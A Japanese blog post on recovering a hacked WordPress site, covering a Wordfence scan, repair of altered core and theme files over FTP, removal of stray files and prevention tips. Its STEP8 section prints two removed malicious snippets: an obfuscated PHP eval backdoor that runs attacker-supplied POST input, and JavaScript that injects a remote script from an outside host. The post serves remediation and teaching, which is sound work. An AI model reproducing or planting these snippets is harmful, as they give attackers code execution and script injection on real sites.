
スマホで自社の WordPress サイトを見ると下部に覚えのない広告が表示されています…!
ご相談いただいて調査したところ、いくつかのコアファイルとテーマファイルが書き換えられていました。明らかにハッキングによるものです。
ハッキング被害にあったと思われる場合は早急な復旧・対策が必要となりますが、専門業者に依頼せず自力で対応することもできます。
知らぬ間にサイトに侵入・改ざんされているかもしれませんので、プラグインによるチェックなどできることを実行してみてください。手順を詳細に解説いたします。
Headline
ハッキング被害の症状と概要
ご相談いただいた WordPress サイトは以下のような症状でした。

- スマホで閲覧したとき、ページ下部に広告が強制表示されてしまう
- スマホで閲覧したとき、一部デザインが崩れている
- 表示速度がかなり遅い(ページ読み込み完了まで数十秒)
管理画面を覗くと、WordPress 本体が少し古いバージョンで、更新が止まってから長年経過したかなり古いプラグインもいくつか見つかりました。
侵入経路は不明ですが、おそらくプラグインが原因でバックドアを仕込まれたものと思われます。
海外でも「WP Marketplace」プラグインなどで同様の事例が報告されており、脆弱性が見つかったプラグイン・古いプラグインは早急に対処しなければ同じ目にあうかもしれません。
ハッキング被害から復旧させるまでの手順
今回は以下の手順で復旧作業を行いました。
- 古いプラグインを削除
- 見知らぬユーザーが追加されていないかチェック(ハッキング被害でたまにあります)
- セキュリティプラグインでスキャンし、書き換えられたファイルにあたりをつける
- 書き換えられたファイルを FTP で修正
幸いなことに、不審なユーザー追加はされていませんでした。管理者権限で追加されていようものなら好き放題やられてしまうので、たまに覗いてみたほうがよいかもしれません。
また、セキュリティプラグインによるスキャンは、被害に遭っていなくても一度やっておいたほうがよいと思います。
その他、サーバーのログが残っていればそちらもチェックしたほうがよいでしょう。サーバーによっては、不正なアクセスがあったり、不審なファイルを検知したときはユーザーに教えてくれます。
それでは、プラグインを使ったスキャン方法とファイルの修正方法を解説していきます。
ハッキングされたファイルをWordfenceで調査する
セキュリティプラグインは「Wordfence」を使いました。無料で使える範囲内でもかなり強力なものです。
以下、被害状況をできるだけ再現して解説いたします。
STEP1
Wordfenceインストール・有効化
プラグイン新規追加画面で「Wordfence Security」を検索し、インストールします。

インストール後、有効化すると初期設定画面が表示されます。
以下の順で初期設定をすませましょう。
- メールアドレス入力(プラグインの更新など各種通知が届きます)
- ニュースを受け取る場合は YES
- プライバシーポリシーチェックを入れる
- 「CONTINUE」をクリック

つぎはライセンスキー入力画面です。
無料のまま使う場合は、「No Thanks」をクリックすればプラグインが有効化されます。スキャンするだけなら無料のままでかまいません。
※有料プランは年間 $99

STEP2
Wordfenceでサイトをスキャンする
有効化後、サイドバーに「Wordfence」という項目が表示されるので、そこから「Scan」を選択します。
スキャン画面に入るとナビゲーションが表示されますが、右上の「×」をクリックして消してもかまいません。

画面上部の通知が気になる場合は、それぞれ以下のリンクテキストをクリックしてください。
- 黄色ライン・・・DISMISS(プレミアプランの案内を消去)
- 赤色ライン・・・Yes, enable auto-update.(自動アップデート有効化)
そのまま「START NEW SCAN」ボタンをクリックし、スキャンを開始します。

「Server State」から順にスキャンされていき、チェックマークが表示されれば問題ありません。
スキャン中はバーが左右に動いているので、そのまましばらく待機しましょう。

他のウィンドウに切り替えてしまうと「Status Updates Paused」というメッセージが表示されます。
スキャン完了まで数分かかります。Wordfence スキャン画面のままにしておいてください。

STEP3
Wordfenceで警告が表示されたファイルを修復する
スキャン終了後、問題が見つかった箇所には注意マークが表示されます。今回は「File Changes」に注意マークがついていました。
その下には「WordPress core file modified:」というメッセージとともに、変更が加えられているファイル一覧が表示されています。
jquery.js など WordPress 本体内のファイルが書き換えられているようなので、この時点でハッキングされている可能性大です。

Wordfence には修復機能も備わっており、うまくいけばこのままファイルを修正できます。
右上の「REPAIR ALL REPAIRABLE FILES」をクリック。

確認メッセージが表示されるので「REPAIR FILES」をクリック。

修復が完了すればオールグリーンになります。
ブラウザのキャッシュをクリアし、広告表示等がなくなっていればとりあえず OK です。
しかし、以下のように「Could not repair files」というメッセージが表示されたら手動で修正しなくてはなりません…

また、テーマファイルなど Wordfence ではもともと修復できないものもありますから、ハッキングされたファイルがある程度わかったら手動で修復していきましょう。
ここから、FTP を使った手動での修復作業を解説していきます。
ハッキングされたファイルを修復(上書き)していく
STEP4
WordPress本体ダウンロード・展開
ハッキング前のファイルを入手するために、WordPress 本体をダウンロードしましょう。

バックアップファイルがある場合はそちらを使ってもかまいません。ただし、バックアップファイル自体がすでにハッキングされたものかもしれないので注意してください。
新たに本体を入手したほうが確実です。
ダウンロード完了後、ZIP ファイルを展開しておきます。
STEP5
FTPでファイルを上書きしていく
つぎに、FTP で接続し、Wordfence でエラーが出ていたファイルを上書きしていきます。
エラーが出ていたファイルはこの 3 つ。
- wp-includes/js/jquery/jquery-migrate.min.js
- wp-includes/js/jquery/jquery.js
- wp-includes/js/wp-embed.js
PC とサーバーのディレクトリ構造を見ながらファイルを探し、該当するファイルをアップロードして上書きすれば OK です。

いまいちわからない場合は動画をご覧ください。
STEP6
Wordfenceで再チェック
警告が表示されていたファイルを上書きしたら、Wordfence で再チェックします。
すべてにチェックマークがつき、「No new issues have been found.」と表示されていればひとまず完了です。

ブラウザのキャッシュをクリアし、サイトの表示を確認してみてください。
もしまだ広告が表示されていたり、おかしな動きをしているときは目視でファイルをチェックしていく必要があります。
ご相談いただいたサイトも、ほかに書き換えられていたファイルがありましたので、参考のため掲載しておきます。
その他不審なファイルを修復/削除していく
STEP7
不要なファイルを削除
FTP で WordPress 本体を見たところ、コアファイルにもともと含まれていない「333444」という数字だけのファイルが見つかりました。
こちらはハッキングによるものなのか不明でしたが、不要なものなので削除しました。

また、アップロードディレクトリ内にあるはずのない index.php が見つかり、こちらも削除しました。

STEP8
書き換えられていたファイルを修復
テーマファイル内の 404.php に、明らかに不審なコードが仕込まれていました。これがバックドアと呼ばれるものですね。
仕込まれていたのは以下のコードで、これを削除しました。
<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['wp-admin'])){eval(${$s20}['wp-admin']);} ?>
また、利用中のテーマには jquery.js や bootstrap.js が含まれており、こちらもコアファイル同様書き換えられていたので修復しました。
「更新日時」を見ていけば、どのファイルが書き換えられているかチェックしやすいと思います。

WordPress 本体内の jquery.js など、共通して以下のコードが仕込まれていたのですべて削除しました。
(function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//stats.atrl.co/jquery.min.js"; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'jquery-ui-sdk'));
どのファイルが変更されるかは構成によると思います。
ハッキングが明らかでひとつずつチェックするのが困難な場合は、専門業者を頼るか、クリーンインストールしたほうがよいかもしれません。
ハッキング被害を防ぐためにできること
冒頭でふれたように、ご相談いただいたサイトは古いプラグインから侵入されたのだと思われます。
ハッキング被害を防ぐためにも、以下の点に注意してください。
- WordPress 本体・プラグイン・PHP バージョンは最新版にしておく(本体の自動更新を止めている場合は要注意)
- 何年も更新されていないプラグイン・公式ディレクトリから削除されたプラグインは使わない(代替プラグインを探す)
- セキュリティプラグインを導入する
- サーバーのセキュリティ機能があるなら可能なかぎり ON にしておく
無料ブログと違い、WordPress の管理は自己責任です。
『最新版だとうまく動かないプラグインがある』という理由で、本体やプラグインをアップデートしないままにしている話をよく聞きますが、かなり危険ですから絶対にやめてください。
被リンク用やテスト用でいくものサイトを保有しており、もう使わなくなったからとメンテナンスせず放置しておくのも危険です。使わないサイトは丸ごと削除しておきましょう。
有名セキュリティプラグイン
今回使用した「Wordfence」以外にも、有名なセキュリティ系プラグインがいくつかありますのでご紹介しておきます。
SiteGuard WP Plugin | 不正ログイン対策に重点をおいたプラグイン。サーバーによっては WordPress 自動インストール時に同時にインストールされる。 |
---|---|
iThemes Security | 総合セキュリティ対策に加え、データベースバックアップ機能も備えたプラグイン。すぐに対処すべき項目が一覧表示されるのでわかりやすい。 |
All In One WP Security & Firewall | 多機能なセキュリティ対策プラグイン。一部サーバーと相性が悪く、500 エラーが発生する可能性あり。 |
Wordfence Security | 今回使用した総合セキュリティ対策プラグイン。ファイアウォール機能やトラフィック解析機能があり、これひとつで十分すぎるぐらい。そのぶん設定が難しい。 |
ご自身の環境に合わせていろいろ試してみてください。
プラグインを入れたから安心、というわけではなく、本体やプラグインの更新は欠かさずに行ってくださいね。
まとめ
見慣れない広告が出現したり、表示がやたらと遅くなっていたときはハッキングされた可能性があります。
とくに長期間放置していた WordPress は狙われやすい(脆い)ので、この機会に所有サイトをチェックしてみることをおすすめします。
自力でハッキング被害から復旧させるのは難しいかもしれませんが、ご参考になれば幸いです。
それでは、また。